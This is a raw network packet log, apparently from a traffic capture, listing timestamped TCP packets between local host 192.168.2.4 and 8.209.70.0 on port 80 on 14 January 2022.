Jan 14, 2022 09:25:46.099390984 CET	49875	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:46.099479914 CET	49875	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:46.160669088 CET	80	49875	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:46.202729940 CET	80	49875	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:46.202779055 CET	80	49875	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:46.202819109 CET	80	49875	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:46.202857018 CET	49875	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:46.202861071 CET	80	49875	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:46.202905893 CET	80	49875	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:46.202945948 CET	80	49875	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:46.202960968 CET	49875	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:46.202986002 CET	80	49875	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:46.202989101 CET	49875	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:46.203026056 CET	80	49875	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:46.203068972 CET	80	49875	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:46.203108072 CET	80	49875	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:46.203116894 CET	49875	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:46.203164101 CET	49875	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:46.220398903 CET	80	49875	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:46.242389917 CET	80	49875	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:46.242434025 CET	80	49875	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:46.242475033 CET	80	49875	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:46.242491007 CET	49875	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:46.242515087 CET	80	49875	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:46.242530107 CET	49875	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:46.242553949 CET	80	49875	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:46.242594004 CET	80	49875	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:46.242631912 CET	80	49875	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:46.242647886 CET	49875	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:46.242672920 CET	80	49875	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:46.242701054 CET	49875	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:46.242713928 CET	80	49875	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:46.242750883 CET	80	49875	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:46.242784023 CET	49875	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:46.242789984 CET	80	49875	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:46.242830992 CET	80	49875	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:46.242846966 CET	49875	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:46.242868900 CET	80	49875	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:46.242908001 CET	80	49875	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:46.242939949 CET	49875	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:46.242944956 CET	80	49875	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:46.242985964 CET	80	49875	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:46.243026018 CET	80	49875	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:46.243062019 CET	80	49875	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:46.243099928 CET	80	49875	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:46.243525028 CET	49875	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:46.260298014 CET	80	49875	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:46.260340929 CET	80	49875	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:46.260375977 CET	80	49875	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:46.260442019 CET	49875	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:46.282185078 CET	80	49875	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:46.282236099 CET	80	49875	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:46.282279015 CET	80	49875	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:46.282290936 CET	49875	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:46.282320023 CET	80	49875	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:46.282324076 CET	49875	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:46.282361031 CET	80	49875	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:46.282402039 CET	80	49875	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:46.282442093 CET	80	49875	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:46.282450914 CET	49875	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:46.282484055 CET	80	49875	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:46.282500982 CET	49875	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:46.282525063 CET	80	49875	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:46.282565117 CET	80	49875	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:46.282604933 CET	80	49875	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:46.282623053 CET	49875	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:46.282643080 CET	80	49875	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:46.282656908 CET	49875	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:46.282682896 CET	80	49875	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:46.282741070 CET	80	49875	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:46.282779932 CET	80	49875	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:46.282788992 CET	49875	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:46.282816887 CET	80	49875	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:46.282825947 CET	49875	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:46.282856941 CET	80	49875	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:46.282893896 CET	80	49875	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:46.282928944 CET	49875	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:46.282932997 CET	80	49875	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:46.282973051 CET	80	49875	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:46.283010006 CET	80	49875	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:46.283027887 CET	49875	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:46.283047915 CET	80	49875	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:46.283052921 CET	49875	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:46.283086061 CET	80	49875	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:46.283123016 CET	80	49875	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:46.283140898 CET	49875	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:46.283162117 CET	80	49875	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:46.283200026 CET	80	49875	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:46.283237934 CET	80	49875	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:46.283252001 CET	49875	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:46.283277988 CET	80	49875	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:46.283293009 CET	49875	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:46.283315897 CET	80	49875	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:46.283354998 CET	80	49875	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:46.283391953 CET	80	49875	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:46.283405066 CET	49875	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:46.283428907 CET	80	49875	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:46.283440113 CET	49875	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:46.283471107 CET	80	49875	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:46.283509016 CET	80	49875	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:46.283546925 CET	80	49875	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:46.283555984 CET	49875	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:46.283586979 CET	80	49875	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:46.283592939 CET	49875	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:46.283623934 CET	80	49875	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:46.283662081 CET	80	49875	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:46.283699036 CET	80	49875	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:46.283706903 CET	49875	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:46.283736944 CET	80	49875	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:46.283746958 CET	49875	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:46.300956011 CET	80	49875	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:46.301003933 CET	80	49875	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:46.301031113 CET	49875	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:46.301042080 CET	80	49875	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:46.301090002 CET	49875	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:46.322081089 CET	80	49875	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:46.322137117 CET	80	49875	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:46.322176933 CET	80	49875	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:46.322208881 CET	49875	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:46.322216988 CET	80	49875	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:46.322257042 CET	80	49875	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:46.322288990 CET	80	49875	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:46.322331905 CET	80	49875	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:46.322371006 CET	49875	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:46.322374105 CET	80	49875	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:46.322415113 CET	80	49875	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:46.322415113 CET	49875	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:46.322432041 CET	49875	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:46.322458982 CET	80	49875	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:46.322500944 CET	80	49875	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:46.322539091 CET	49875	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:46.322540998 CET	80	49875	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:46.322578907 CET	80	49875	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:46.322588921 CET	49875	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:46.322619915 CET	80	49875	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:46.322659016 CET	80	49875	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:46.322696924 CET	80	49875	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:46.322710991 CET	49875	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:46.322741985 CET	80	49875	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:46.322747946 CET	49875	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:46.322782040 CET	80	49875	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:46.322822094 CET	80	49875	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:46.322861910 CET	80	49875	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:46.322868109 CET	49875	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:46.322901011 CET	80	49875	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:46.322909117 CET	49875	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:46.322941065 CET	80	49875	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:46.322979927 CET	80	49875	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:46.323016882 CET	80	49875	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:46.323030949 CET	49875	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:46.323055029 CET	80	49875	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:46.323070049 CET	49875	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:46.323095083 CET	80	49875	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:46.323134899 CET	80	49875	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:46.323175907 CET	80	49875	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:46.323182106 CET	49875	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:46.323214054 CET	80	49875	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:46.323220968 CET	49875	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:46.323254108 CET	80	49875	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:46.323292971 CET	80	49875	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:46.323329926 CET	80	49875	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:46.323343039 CET	49875	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:46.323369980 CET	80	49875	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:46.323385000 CET	49875	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:46.323409081 CET	80	49875	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:46.323450089 CET	80	49875	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:46.323491096 CET	80	49875	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:46.323509932 CET	49875	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:46.323529005 CET	80	49875	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:46.323535919 CET	49875	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:46.323569059 CET	80	49875	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:46.323609114 CET	80	49875	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:46.323647976 CET	80	49875	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:46.323662996 CET	49875	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:46.323687077 CET	80	49875	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:46.323720932 CET	49875	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:46.323726892 CET	80	49875	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:46.323766947 CET	80	49875	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:46.323797941 CET	49875	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:46.323810101 CET	80	49875	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:46.323848009 CET	80	49875	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:46.323887110 CET	80	49875	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:46.323899031 CET	49875	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:46.323928118 CET	80	49875	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:46.323937893 CET	49875	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:46.323966026 CET	80	49875	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:46.324114084 CET	49875	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:46.341221094 CET	80	49875	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:46.341265917 CET	80	49875	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:46.341306925 CET	80	49875	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:46.341350079 CET	49875	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:46.341398001 CET	80	49875	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:46.341440916 CET	80	49875	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:46.341455936 CET	49875	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:46.341536999 CET	80	49875	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:46.341578007 CET	80	49875	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:46.341584921 CET	49875	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:46.341615915 CET	80	49875	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:46.341656923 CET	80	49875	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:46.341698885 CET	80	49875	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:46.341717958 CET	49875	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:46.341741085 CET	49875	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:46.341766119 CET	80	49875	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:46.341815948 CET	80	49875	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:46.341873884 CET	49875	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:46.341916084 CET	80	49875	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:46.341955900 CET	80	49875	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:46.341995955 CET	80	49875	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:46.342036963 CET	80	49875	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:46.342045069 CET	49875	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:46.342075109 CET	80	49875	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:46.342092037 CET	49875	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:46.342116117 CET	80	49875	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:46.342154980 CET	80	49875	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:46.342192888 CET	80	49875	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:46.342201948 CET	49875	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:46.342231989 CET	80	49875	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:46.342232943 CET	49875	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:46.342271090 CET	80	49875	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:46.342312098 CET	80	49875	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:46.342351913 CET	80	49875	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:46.342366934 CET	49875	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:46.342390060 CET	80	49875	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:46.342397928 CET	49875	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:46.342433929 CET	80	49875	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:46.342482090 CET	80	49875	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:46.342520952 CET	80	49875	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:46.342526913 CET	49875	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:46.342560053 CET	80	49875	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:46.342565060 CET	49875	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:46.342600107 CET	80	49875	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:46.342641115 CET	80	49875	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:46.342681885 CET	80	49875	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:46.342690945 CET	49875	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:46.342719078 CET	80	49875	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:46.342729092 CET	49875	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:46.342761040 CET	80	49875	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:46.342801094 CET	80	49875	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:46.342839003 CET	80	49875	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:46.342847109 CET	49875	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:46.342878103 CET	80	49875	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:46.342885017 CET	49875	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:46.342916965 CET	80	49875	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:46.342952967 CET	80	49875	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:46.343003988 CET	49875	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:46.362071991 CET	80	49875	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:46.362118959 CET	80	49875	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:46.362157106 CET	80	49875	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:46.362175941 CET	49875	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:46.362195969 CET	80	49875	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:46.362201929 CET	49875	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:46.362236023 CET	80	49875	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:46.362274885 CET	80	49875	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:46.362292051 CET	49875	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:46.362315893 CET	80	49875	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:46.362354040 CET	80	49875	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:46.362370968 CET	49875	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:46.362394094 CET	80	49875	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:46.362432957 CET	80	49875	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:46.362462044 CET	80	49875	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:46.362493038 CET	80	49875	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:46.362509012 CET	49875	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:46.362528086 CET	49875	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:46.362534046 CET	80	49875	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:46.362574100 CET	80	49875	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:46.362611055 CET	80	49875	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:46.362624884 CET	49875	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:46.362651110 CET	80	49875	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:46.362665892 CET	49875	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:46.362690926 CET	80	49875	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:46.362729073 CET	80	49875	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:46.362781048 CET	80	49875	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:46.362787962 CET	49875	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:46.362822056 CET	80	49875	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:46.362828016 CET	49875	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:46.362859964 CET	80	49875	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:46.362900972 CET	80	49875	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:46.362941027 CET	80	49875	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:46.362946033 CET	49875	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:46.362979889 CET	80	49875	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:46.362993002 CET	49875	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:46.363018990 CET	80	49875	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:46.363059044 CET	80	49875	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:46.363097906 CET	80	49875	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:46.363106012 CET	49875	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:46.363138914 CET	80	49875	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:46.363143921 CET	49875	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:46.363178015 CET	80	49875	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:46.363217115 CET	80	49875	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:46.363259077 CET	80	49875	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:46.363262892 CET	49875	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:46.363298893 CET	80	49875	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:46.363308907 CET	49875	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:46.363339901 CET	80	49875	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:46.363377094 CET	80	49875	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:46.363416910 CET	80	49875	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:46.363419056 CET	49875	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:46.363457918 CET	80	49875	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:46.363482952 CET	49875	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:46.363497019 CET	80	49875	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:46.363537073 CET	80	49875	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:46.363578081 CET	80	49875	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:46.363593102 CET	49875	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:46.363616943 CET	80	49875	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:46.363624096 CET	49875	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:46.363656998 CET	80	49875	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:46.363697052 CET	80	49875	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:46.363737106 CET	80	49875	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:46.363745928 CET	49875	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:46.363778114 CET	80	49875	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:46.363785028 CET	49875	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:46.363816023 CET	80	49875	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:46.363854885 CET	80	49875	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:46.363894939 CET	80	49875	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:46.363912106 CET	49875	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:46.363934040 CET	80	49875	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:46.363950968 CET	49875	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:46.381266117 CET	80	49875	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:46.381318092 CET	80	49875	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:46.381360054 CET	80	49875	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:46.381378889 CET	49875	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:46.381397963 CET	80	49875	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:46.381407022 CET	49875	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:46.381438971 CET	80	49875	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:46.381479979 CET	80	49875	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:46.381514072 CET	49875	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:46.381519079 CET	80	49875	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:46.381560087 CET	80	49875	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:46.381598949 CET	80	49875	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:46.381613016 CET	49875	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:46.381639004 CET	80	49875	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:46.381650925 CET	49875	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:46.381681919 CET	80	49875	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:46.381721973 CET	80	49875	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:46.381763935 CET	80	49875	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:46.381783009 CET	49875	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:46.381807089 CET	80	49875	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:46.381828070 CET	49875	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:46.381871939 CET	80	49875	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:46.381921053 CET	80	49875	8.209.70.0	192.168.2.4
